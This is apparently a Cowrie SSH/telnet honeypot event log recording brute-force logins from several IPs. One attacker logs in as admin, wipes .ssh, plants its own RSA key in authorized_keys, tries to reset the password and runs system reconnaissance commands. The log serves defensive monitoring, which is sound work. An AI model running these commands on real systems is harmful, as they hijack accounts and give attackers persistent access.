{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35938,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b3469b55bb","protocol":"telnet","message":"New connection: 64.227.101.30:35938 (10.17.0.5:23) [session: d8b3469b55bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:50.679586Z"}
{"eventid":"cowrie.session.closed","duration":0.004403114318847656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:50.683861Z","src_ip":"64.227.101.30","session":"d8b3469b55bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.72788333892822,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:57.712857Z","src_ip":"64.227.101.30","session":"7d406b4fd10c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":35436,"dst_ip":"10.17.0.5","dst_port":22,"session":"d89da0594296","protocol":"ssh","message":"New connection: 78.40.217.56:35436 (10.17.0.5:22) [session: d89da0594296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:00.976441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:00.981546Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:01.178130Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin00","message":"login attempt [admin/admin00] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:01.705017Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.026133Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.030123Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.037636Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.195247Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.513669Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.517740Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.659589Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.663943Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":55352,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec08d81e8ae","protocol":"ssh","message":"New connection: 78.40.217.56:55352 (10.17.0.5:22) [session: 0ec08d81e8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.801561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.807412Z","src_ip":"78.40.217.56","session":"0ec08d81e8ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:02.952214Z","src_ip":"78.40.217.56","session":"0ec08d81e8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:03.561086Z","src_ip":"78.40.217.56","session":"0ec08d81e8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:04.708479Z","src_ip":"78.40.217.56","session":"0ec08d81e8ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":55366,"dst_ip":"10.17.0.5","dst_port":22,"session":"b93b51d627ab","protocol":"ssh","message":"New connection: 78.40.217.56:55366 (10.17.0.5:22) [session: b93b51d627ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:04.858451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:04.867178Z","src_ip":"78.40.217.56","session":"b93b51d627ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:05.020509Z","src_ip":"78.40.217.56","session":"b93b51d627ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:05.658946Z","src_ip":"78.40.217.56","session":"b93b51d627ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.03867745399475,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:06.042226Z","src_ip":"64.227.101.30","session":"bb2db1eb30a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:06.814275Z","src_ip":"78.40.217.56","session":"b93b51d627ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:06.988706Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:06.991602Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.132804Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.433190Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin00\\nr7SFh5UwE6hz\\nr7SFh5UwE6hz\"|passwd|bash","message":"CMD: echo -e \"admin00\\nr7SFh5UwE6hz\\nr7SFh5UwE6hz\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.436357Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.439446Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.442128Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ca4556e9a6a8eff15c4866a9c2d022a146e7f12a049c0be800f0e4199988560f","size":32,"shasum":"ca4556e9a6a8eff15c4866a9c2d022a146e7f12a049c0be800f0e4199988560f","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ca4556e9a6a8eff15c4866a9c2d022a146e7f12a049c0be800f0e4199988560f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.579080Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.896345Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin00\\nr7SFh5UwE6hz\\nr7SFh5UwE6hz\\n\"|passwd","message":"CMD: echo \"admin00\\nr7SFh5UwE6hz\\nr7SFh5UwE6hz\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:07.899592Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3b7cd0abdaec4dbfe01eb1274a2c3361c6362d2c35149a0be3968dcba7de0cba","size":25,"shasum":"3b7cd0abdaec4dbfe01eb1274a2c3361c6362d2c35149a0be3968dcba7de0cba","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3b7cd0abdaec4dbfe01eb1274a2c3361c6362d2c35149a0be3968dcba7de0cba after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:08.034624Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.95801258087158,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:08.224945Z","src_ip":"68.183.198.12","session":"d68e25492816","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:08.394236Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:08.398026Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:08.536966Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:08.860373Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:08.864334Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.003527Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.314436Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.317747Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.320893Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.459087Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.780058Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.783697Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:09.921463Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:10.234124Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:10.237503Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:10.374392Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:10.707647Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:44:10.711096Z","src_ip":"78.40.217.56","session":"d89da0594296","protocol":"ssh"}
